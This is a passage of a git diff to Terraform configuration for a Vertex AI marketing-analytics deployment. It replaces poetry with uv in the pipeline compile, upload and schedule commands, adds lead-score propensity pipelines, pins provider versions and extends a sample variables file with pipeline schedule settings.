will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-purchase-propensity.execution -o fe_purchase_propensity.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_purchase_propensity.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-purchase-propensity.execution -i fe_purchase_propensity.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-purchase-propensity.execution -o fe_purchase_propensity.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_purchase_propensity.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-purchase-propensity.execution -i fe_purchase_propensity.yaml EOT working_dir = self.triggers.working_dir } @@ -462,9 +535,9 @@ resource "null_resource" "compile_feature_engineering_churn_propensity_pipeline" # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-churn-propensity.execution -o fe_churn_propensity.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_churn_propensity.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-churn-propensity.execution -i fe_churn_propensity.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-churn-propensity.execution -o fe_churn_propensity.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_churn_propensity.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-churn-propensity.execution -i fe_churn_propensity.yaml EOT working_dir = self.triggers.working_dir } @@ -486,9 +559,9 @@ resource "null_resource" "compile_feature_engineering_customer_lifetime_value_pi # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-customer-ltv.execution -o fe_customer_ltv.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_customer_ltv.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-customer-ltv.execution -i fe_customer_ltv.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-customer-ltv.execution -o fe_customer_ltv.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f fe_customer_ltv.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.feature-creation-customer-ltv.execution -i fe_customer_ltv.yaml EOT working_dir = self.triggers.working_dir } @@ -498,12 +571,54 @@ resource "null_resource" "compile_feature_engineering_customer_lifetime_value_pi ## Training and Inference Pipelines ### +# This resource is used to compile and upload the Vertex AI pipeline for training the propensity model - lead score propensity use case +resource "null_resource" "compile_lead_score_propensity_training_pipelines" { + triggers = { + working_dir = "${local.source_root_dir}/python" + tag = local.compile_pipelines_tag + upstream_resource_dependency = null_resource.compile_feature_engineering_customer_lifetime_value_pipeline.id + } + + # The provisioner block specifies the command that will be executed to compile and upload the pipeline. + # This command will execute the compiler function in the pipelines module, which will compile the pipeline YAML file, and the uploader function, + # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. + provisioner "local-exec" { + command = <<-EOT + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.lead_score_propensity.training -o lead_score_propensity_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f lead_score_propensity_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.lead_score_propensity.training -i lead_score_propensity_training.yaml + EOT + working_dir = self.triggers.working_dir + } +} + +# This resource is used to compile and upload the Vertex AI pipeline for prediction using the propensity model - lead score propensity use case +resource "null_resource" "compile_lead_score_propensity_prediction_pipelines" { + triggers = { + working_dir = "${local.source_root_dir}/python" + tag = local.compile_pipelines_tag + upstream_resource_dependency = null_resource.compile_lead_score_propensity_training_pipelines.id + } + + # The provisioner block specifies the command that will be executed to compile and upload the pipeline. + # This command will execute the compiler function in the pipelines module, which will compile the pipeline YAML file, and the uploader function, + # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. + provisioner "local-exec" { + command = <<-EOT + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.lead_score_propensity.prediction -o lead_score_propensity_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f lead_score_propensity_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.lead_score_propensity.prediction -i lead_score_propensity_prediction.yaml + EOT + working_dir = self.triggers.working_dir + } +} + # This resource is used to compile and upload the Vertex AI pipeline for training the propensity model - purchase propensity use case resource "null_resource" "compile_purchase_propensity_training_pipelines" { triggers = { working_dir = "${local.source_root_dir}/python" tag = local.compile_pipelines_tag - upstream_resource_dependency = null_resource.compile_feature_engineering_customer_lifetime_value_pipeline.id + upstream_resource_dependency = null_resource.compile_lead_score_propensity_prediction_pipelines.id } # The provisioner block specifies the command that will be executed to compile and upload the pipeline. @@ -511,9 +626,9 @@ resource "null_resource" "compile_purchase_propensity_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.training -o purchase_propensity_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f purchase_propensity_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.training -i purchase_propensity_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.training -o purchase_propensity_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f purchase_propensity_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.training -i purchase_propensity_training.yaml EOT working_dir = self.triggers.working_dir } @@ -532,9 +647,9 @@ resource "null_resource" "compile_purchase_propensity_prediction_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.prediction -o purchase_propensity_prediction.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f purchase_propensity_prediction.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.prediction -i purchase_propensity_prediction.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.prediction -o purchase_propensity_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f purchase_propensity_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.purchase_propensity.prediction -i purchase_propensity_prediction.yaml EOT working_dir = self.triggers.working_dir } @@ -553,9 +668,9 @@ resource "null_resource" "compile_propensity_clv_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.propensity_clv.training -o propensity_clv_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f propensity_clv_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.propensity_clv.training -i propensity_clv_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.propensity_clv.training -o propensity_clv_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f propensity_clv_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.propensity_clv.training -i propensity_clv_training.yaml EOT working_dir = self.triggers.working_dir } @@ -574,9 +689,9 @@ resource "null_resource" "compile_clv_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.training -o clv_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f clv_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.training -i clv_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.training -o clv_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f clv_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.training -i clv_training.yaml EOT working_dir = self.triggers.working_dir } @@ -595,9 +710,9 @@ resource "null_resource" "compile_clv_prediction_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.prediction -o clv_prediction.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f clv_prediction.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.prediction -i clv_prediction.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.prediction -o clv_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f clv_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.clv.prediction -i clv_prediction.yaml EOT working_dir = self.triggers.working_dir } @@ -616,9 +731,9 @@ resource "null_resource" "compile_segmentation_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.training -o segmentation_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f segmentation_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.training -i segmentation_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.training -o segmentation_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f segmentation_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.training -i segmentation_training.yaml EOT working_dir = self.triggers.working_dir } @@ -637,9 +752,9 @@ resource "null_resource" "compile_segmentation_prediction_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.prediction -o segmentation_prediction.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f segmentation_prediction.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.prediction -i segmentation_prediction.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.prediction -o segmentation_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f segmentation_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.segmentation.prediction -i segmentation_prediction.yaml EOT working_dir = self.triggers.working_dir } @@ -658,9 +773,9 @@ resource "null_resource" "compile_auto_segmentation_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.training -o auto_segmentation_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f auto_segmentation_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.training -i auto_segmentation_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.training -o auto_segmentation_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f auto_segmentation_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.training -i auto_segmentation_training.yaml EOT working_dir = self.triggers.working_dir } @@ -679,9 +794,9 @@ resource "null_resource" "compile_auto_segmentation_prediction_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.prediction -o auto_segmentation_prediction.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f auto_segmentation_prediction.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.prediction -i auto_segmentation_prediction.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.prediction -o auto_segmentation_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f auto_segmentation_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.auto_segmentation.prediction -i auto_segmentation_prediction.yaml EOT working_dir = self.triggers.working_dir } @@ -700,9 +815,9 @@ resource "null_resource" "compile_value_based_bidding_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.training -o vbb_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f vbb_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.training -i vbb_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.training -o vbb_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f vbb_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.training -i vbb_training.yaml EOT working_dir = self.triggers.working_dir } @@ -721,9 +836,9 @@ resource "null_resource" "compile_value_based_bidding_explanation_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.explanation -o vbb_explanation.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f vbb_explanation.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.explanation -i vbb_explanation.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.explanation -o vbb_explanation.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f vbb_explanation.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.value_based_bidding.explanation -i vbb_explanation.yaml EOT working_dir = self.triggers.working_dir } @@ -742,9 +857,9 @@ resource "null_resource" "compile_churn_propensity_training_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.training -o churn_propensity_training.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f churn_propensity_training.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.training -i churn_propensity_training.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.training -o churn_propensity_training.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f churn_propensity_training.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.training -i churn_propensity_training.yaml EOT working_dir = self.triggers.working_dir } @@ -763,9 +878,9 @@ resource "null_resource" "compile_churn_propensity_prediction_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.prediction -o churn_propensity_prediction.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f churn_propensity_prediction.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.prediction -i churn_propensity_prediction.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.prediction -o churn_propensity_prediction.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f churn_propensity_prediction.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.churn_propensity.prediction -i churn_propensity_prediction.yaml EOT working_dir = self.triggers.working_dir } @@ -784,9 +899,9 @@ resource "null_resource" "compile_reporting_preparation_aggregate_predictions_pi # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.reporting_preparation.execution -o reporting_preparation.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f reporting_preparation.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.reporting_preparation.execution -i reporting_preparation.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.reporting_preparation.execution -o reporting_preparation.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f reporting_preparation.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.reporting_preparation.execution -i reporting_preparation.yaml EOT working_dir = self.triggers.working_dir } @@ -805,10 +920,10 @@ resource "null_resource" "compile_gemini_insights_pipelines" { # which will upload the pipeline YAML file to the specified Artifact Registry repository. The scheduler function will then schedule the pipeline to run on a regular basis. provisioner "local-exec" { command = <<-EOT - ${var.poetry_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.gemini_insights.execution -o gemini_insights.yaml - ${var.poetry_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f gemini_insights.yaml -t ${self.triggers.tag} -t latest - ${var.poetry_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.gemini_insights.execution -i gemini_insights.yaml + ${var.uv_run_alias} python -m pipelines.compiler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.gemini_insights.execution -o gemini_insights.yaml + ${var.uv_run_alias} python -m pipelines.uploader -c ${local.config_file_path_relative_python_run_dir} -f gemini_insights.yaml -t ${self.triggers.tag} -t latest + ${var.uv_run_alias} python -m pipelines.scheduler -c ${local.config_file_path_relative_python_run_dir} -p vertex_ai.pipelines.gemini_insights.execution -i gemini_insights.yaml EOT working_dir = self.triggers.working_dir } -} \ No newline at end of file +} diff --git a/infrastructure/terraform/modules/pipelines/variables.tf b/infrastructure/terraform/modules/pipelines/variables.tf index 3afaaed3..3c618cac 100644 --- a/infrastructure/terraform/modules/pipelines/variables.tf +++ b/infrastructure/terraform/modules/pipelines/variables.tf @@ -17,13 +17,8 @@ variable "config_file_path" { description = "pipelines config file" } -variable "poetry_run_alias" { - description = "alias for poetry run command on the current system" - type = string -} - -variable "poetry_installed" { - description = "Construct to specify dependency to poetry installed" +variable "uv_run_alias" { + description = "alias for uv run command on the current system" type = string } diff --git a/infrastructure/terraform/modules/pipelines/versions.tf b/infrastructure/terraform/modules/pipelines/versions.tf index 5a896e28..2e275387 100644 --- a/infrastructure/terraform/modules/pipelines/versions.tf +++ b/infrastructure/terraform/modules/pipelines/versions.tf @@ -20,7 +20,12 @@ terraform { required_providers { google = { source = "hashicorp/google" - version = ">= 3.43.0, >= 3.53.0, >= 3.63.0, >= 4.83.0, < 5.0.0, < 6.0.0" + version = "5.45.0" + } + + google-beta = { + source = "hashicorp/google-beta" + version = "5.45.0" } } diff --git a/infrastructure/terraform/terraform-sample.tfvars b/infrastructure/terraform/terraform-sample.tfvars index d52b9d0f..dedf5792 100644 --- a/infrastructure/terraform/terraform-sample.tfvars +++ b/infrastructure/terraform/terraform-sample.tfvars @@ -16,10 +16,7 @@ tf_state_project_id = "Google Cloud project where the terraform state file is stored" -create_dev_environment = false -create_staging_environment = false -create_prod_environment = true - +deploy_dataform = true deploy_activation = true deploy_feature_store = true deploy_pipelines = true @@ -28,6 +25,7 @@ deploy_monitoring = true #################### DATA VARIABLES ################################# data_project_id = "Project id where the MDS datasets will be created" +property_id = "Google Analytics 4 property id to identify an unique MDS deployment" destination_data_location = "BigQuery location (either regional or multi-regional) for the MDS BigQuery datasets." data_processing_project_id = "Project id where the Dataform will be installed and run" source_ga4_export_project_id = "Project id which contains the GA4 export dataset" @@ -40,6 +38,170 @@ source_ads_export_data = [ #################### FEATURE STORE VARIABLES ################################# feature_store_project_id = "Project ID where feature store resources will be created" +# These variables are going to become optional with future deployment +# List of comma separated events used in the lead score feature engineering e.g. (["scroll_50", "scroll_90", "view_search_results", ..]) +non_ecomm_events_list = ["scroll_50", "view_search_results"] +# A target event for the lead score propensity feature engineering e.g. "login" +non_ecomm_target_event = "login" + +################### PIPELINE CONFIGURATIONS ################################## + +pipeline_configuration = { + feature-creation-auto-audience-segmentation = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-audience-segmentation = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-purchase-propensity = { + execution = { + schedule = { + state = "ACTIVE" + } + } + } + feature-creation-churn-propensity = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-customer-ltv = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-aggregated-value-based-bidding = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + feature-creation-lead-score-propensity = { + execution = { + schedule = { + state = "ACTIVE" + } + } + } + value_based_bidding = { + training = { + schedule = { + state = "PAUSED" + } + } + explanation = { + schedule = { + state = "PAUSED" + } + } + } + purchase_propensity = { + training = { + schedule = { + state = "ACTIVE" + } + } + prediction = { + schedule = { + state = "ACTIVE" + } + } + } + churn_propensity = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + segmentation = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + auto_segmentation = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + propensity_clv = { + training = { + schedule = { + state = "PAUSED" + } + } + } + clv = { + training = { + schedule = { + state = "PAUSED" + } + } + prediction = { + schedule = { + state = "PAUSED" + } + } + } + lead_score_propensity = { + training = { + schedule = { + state = "ACTIVE" + } + } + prediction = { + schedule = { + state = "ACTIVE" + } + } + } + + gemini_insights = { + execution = { + schedule = { + state = "PAUSED" + } + } + } + reporting_preparation = { + execution = { + schedule = { + state = "PAUSED" + } + } +} #################### ML MODEL VARIABLES ################################# @@ -47,19 +209,19 @@ website_url = "Customer Website URL" # i.e. "https://shop.googlemerchandisestore #################### ACTIVATION VARIABLES ################################# -activation_project_id = "Project ID where activation resources will be created" +activation_project_id = "Project ID where activation resources will be created" #################### GA4 VARIABLES ################################# -ga4_property_id = "Google Analytics property id" -ga4_stream_id = "Google Analytics data stream id" -ga4_measurement_id = "Google Analytics measurement id" -ga4_measurement_secret = "Google Analytics measurement secret" +ga4_property_id = "Google Analytics 